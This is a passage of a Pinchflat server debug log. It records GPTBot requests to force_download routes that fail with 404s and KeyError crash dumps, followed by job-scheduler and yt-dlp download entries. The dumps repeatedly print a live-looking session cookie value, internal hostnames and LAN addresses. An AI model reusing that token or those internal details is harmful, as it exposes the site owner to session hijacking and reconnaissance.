"gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/101", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/101/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/101/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43780}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/101", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 22:20:44.281 [info] GET /sources/1/media/102/force_download 22:20:44.281 [debug] QUERY OK source="settings" db=0.1ms idle=1042.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:44.282 [debug] QUERY OK source="settings" db=0.0ms idle=1042.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:44.282 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:20:44.282 [error] #PID<0.4697.0> running PinchflatWeb.Endpoint (connection #PID<0.4696.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/102/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/102/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/102/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43786}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/102", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4697.0>, params: %{}, path_info: ["sources", "1", "media", "102", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/102"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/102/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDf6NToEyuY9cQAAS8C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/102/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43786}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/102", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/102/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/102/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43786}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/102", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 22:20:45.821 [info] GET /sources/1/media/105/force_download 22:20:45.822 [debug] QUERY OK source="settings" db=0.1ms idle=1539.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:45.822 [debug] QUERY OK source="settings" db=0.1ms idle=1078.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:45.822 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:20:45.822 [error] #PID<0.4699.0> running PinchflatWeb.Endpoint (connection #PID<0.4698.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/105/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/105/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4698.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/105/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43794}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/105", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4699.0>, params: %{}, path_info: ["sources", "1", "media", "105", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/105"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/105/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDf6TC1Bol82TIAAGKD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4698.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/105/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43794}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/105", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/105/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4698.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/105/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43794}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/105", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 22:20:50.660 [info] GET /sources/1/media/108/force_download 22:20:50.661 [debug] QUERY OK source="settings" db=0.1ms idle=1598.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:50.661 [debug] QUERY OK source="settings" db=0.0ms idle=1599.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:50.661 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:20:50.662 [error] #PID<0.4701.0> running PinchflatWeb.Endpoint (connection #PID<0.4700.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/108/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/108/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4700.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/108/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43808}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/108", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4701.0>, params: %{}, path_info: ["sources", "1", "media", "108", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/108"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/108/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDf6lEoTv5UkE4AAS-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4700.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/108/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43808}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/108", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/108/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4700.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/108/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43808}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/108", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 22:20:58.872 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.658 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:04.470 [info] GET /media/dc184a70-9347-4b64-9923-209a03dbf233/stream 22:21:04.470 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dc184a70-9347-4b64-9923-209a03dbf233", "v" => "1774661650"} Pipelines: [:maybe_basic_auth] 22:21:04.470 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=699.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dc184a70-9347-4b64-9923-209a03dbf233"] 22:21:04.481 [debug] Invalid range request for media item: dc184a70-9347-4b64-9923-209a03dbf233 - serving full file 22:21:04.481 [info] Sent 200 in 11ms 22:21:10.149 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=oaOG1xOk7XY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f2/0a/f20a6fee1c47281d445e6a49e6157f1bc586d3db0ebbdf04f3b8ee746bbf32b1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:21:10.164 [debug] Running yt-dlp command for action: download_thumbnail 22:21:10.165 [debug] QUERY OK source="settings" db=0.0ms idle=386.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:10.165 [debug] QUERY OK 